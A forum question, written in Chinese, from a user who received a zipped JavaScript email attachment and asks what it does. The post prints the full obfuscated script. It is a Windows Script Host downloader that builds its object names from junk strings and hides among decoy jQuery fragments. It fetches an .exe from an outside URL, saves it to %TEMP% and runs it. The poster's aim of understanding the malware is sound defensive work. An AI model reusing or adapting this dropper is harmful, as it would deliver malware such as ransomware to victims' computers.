StackOverflow 上有一个带有类似代码摘录的封闭问题，但由于不是与编程相关的问题，所以我想我会在这里问。
它以 Zip 文件的形式通过电子邮件发送，但在 Notepad++ 中打开，可以读取 JS 文件并且（大概？）不执行。在搜索链接到https://www.hybrid-analysis.com的代码子集时，Google 上也有很多结果表明它是 RansomWare，但是否可以解释该代码的实际作用？
看似随机的单词序列似乎是为了避免代码被检测为类似于已知的恶意软件签名，然后操纵字符串形成代码然后执行？
iAIzcLGbNj = " while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; };";
fergusI = 0;
String.prototype.contradistinction = function () { return this.substr(0, 1); };
var uUXTro = [("dingle","adornment","n")+"hh"+("precipitous","astounding","peruse","devon","lH")+"CNAl", "A"+"iR"+"Nh"+("dover","ambiguous","diocese","cD")+"nBHy", "E"+"xpan"+("disable","foamy","titled","mandate","dEnviron")+"me"+"nt"+"Stri"+("river","polyphonic","ngs"), ("flower","centered","gently","petiole","")+"%"+("spirituality","unabashed","TE")+"MP%", ""+("interaction","career","perception",".")+"exe", ("wives","electrical","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("regarded","crossroads","vi")+("botanist","expense","explains","manatarms","nc")+"enti"+"ve"+"eXincentiv"+("excruciating","futures","concepts","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("vaccination","metres","twill","W")+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + ("writing","tiffany","S"), "AmvHaUzPHrP", ("humdrum","cavernous","suave","beryl","h")+"in"+"ce"+("vespers","bountiful","gripe","nt")+"iv"+"ee"+("terrier","echoing","education","li")+"nc"+("tranny","basilica","en")+"ti"+("cooperate","festive","modem","gains","vel"), "UJcMlBfkOA", "G"+("centers","aqueduct","plugins","rRAF")+"Ka"+("creased","storing","twine","je")+"To", "Min"+"ce"+"ntiv"+"eS"+("enthusiast","pounce","iniquitous","Xi")+"nc"+"en"+("optical","migration","disks","marche","ti")+"ve"+("describe","impaired","israeli","ML")+"in"+"ce"+("sorts","fabled","nt")+("usurped","federal","iv")+"e2" + "."+"in"+"ce"+("decoy","lobby","brazilian","supervisors","nt")+("rancorous","pierce","terror","iv")+"eXMi"+"ncenti"+("stretcher","depict","sheer","ve")+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"];
rQSHDCBXb = " var rneedsContext = jQuery.expr.match.needsContext;";
uUXTro.splice(7, fergusI + 2);
chubby = uUXTro[1+4+1].split("incentive").join("");
var lrAXrUK = this[chubby];
AapDxox = "IdauNqhuT";
societies = (("notoriety", "linguist", "HiLPFi", "ventures", "pVrSBHnCPxP") + "kbmKKwklAVc").contradistinction();
theoriess = (("inalienable", "cognizance", "ziHwqRxJu", "dozen", "sSBVEfa") + "xEqzqkRRVx").contradistinction();
fergusI = 6;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3];
uUXTro[fergusI + 2] = "EuHNTOs";
fergusI++;
uUXTro.splice(fergusI + 1, fergusI - 4);
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join("");
var OoKse = new lrAXrUK("" + uUXTro[fergusI] + "");
YPlWYgwd = " for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } ";
fergusI++;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join("");
var zBqJutIT = new lrAXrUK(uUXTro[1 + fergusI]);
KNgrjvc = " var siblings = function( n, elem ) { var matched = [];";
fergusI /= 2;
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]);
KcjXPEtu = "} return matched; };";
revealede = (("underlying", "scrip", "eYyeHhl", "angular", "EbYlGrsShJg") + "qWuYEw").contradistinction();
function undeveloped(poseidon, economic) {
try {
var jersey = BPmnOej + "/" + economic + uUXTro[fergusI];
LjujlQ = "} return jQuery.grep( elements, function( elem ) { return ( jQuery.inArray( elem, qualifier ) > -1 ) !== not; } ); ";
zBqJutIT["o" + societies + revealede + "n"](("aviation","unreliable","nutrition","published","G") + revealede + ("mouth","consensus","agents","pricing","T"), poseidon, false);
QcwDedGUE = "}jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ];";
zBqJutIT[theoriess + ("republicans","aggrandizement","e") + (("educated", "hybrid", "vQJtIpP", "enact", "torpor", "nxldkIa") + "GyucrQNudzq").contradistinction() + (("lingo", "caitiff", "CEdBvsmD", "dealtime", "vbulletin", "dMNcSDdMEzF") + "wKxDlSnr").contradistinction()]();
wGSsSnAuJ = " if ( not ) { expr = \":not(\" + expr + \")\"; ";
if (zBqJutIT.status == 200) {
var PbOLTH = new lrAXrUK((""+("slang","biology","A")+"pO"+("intimate","dramatist","easterly","encouraging","DB.") + ""+"S"+("sheila","premises","fatherless","tr")+"eam").replace("p", "D"));
PbOLTH.open();
RvweTKriM = "var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ );";
PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1);
aODTVaRhyp = "var risSimple = /^.[^:#\[\.,]*$/;";
PbOLTH[("sonnet","heath","dried","mains","w")+"ri"+"te"](zBqJutIT[""+"R"+"es"+("capsule","begin","enlargement","heracles","pon") + theoriess + "e"+"Bo"+("laconically","discovery","dy")]);
eUVrfTIaq = " Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; } );";
PbOLTH[(societies + "o"+"Di"+("unpopular","anarchist","remix","tying","ti")+"on").replace("D", theoriess)] = 0;
rURMWYFCS = "} if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } );";
PbOLTH["sav"+"eT"+"oF"+("silhouette","participate","eligible","employed","ile")](jersey, 2);
JzDFHcYwRvt = "} if ( typeof qualifier === \"string\" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); ";
PbOLTH.close();
ueMAAMNPHiw = "} qualifier = jQuery.filter( qualifier, elements ); ";
OoKse[uUXTro[fergusI + 1]](jersey, 1, "ISKhYal" === "EwSDqpJcU"); wQXGGA = " if ( typeof selector !== \"string\" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); ";
}
} catch (HiQurqnDJ) { };
hUivzNY = "jQuery.fn.extend( { find: function( selector ) { var i, ret = [], self = this, len = self.length;";
}
undeveloped(("craven","surgical","motels","h")+"tt"+"p://"+"soft"+"le"+"ns"+"ja"+("grandchildren","probabilities","nudity","normal","ka")+"rta.co"+"m/"+"sy"+"stem"+("dorset","portal","advertise","substantial","/l")+("mango","thrush","productive","ogs/98")+("flush","cyclone","h7")+("johnson","studying","b66gb.")+"exe","yROdkAds");
NrQwRjPqXlj = "} return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); };";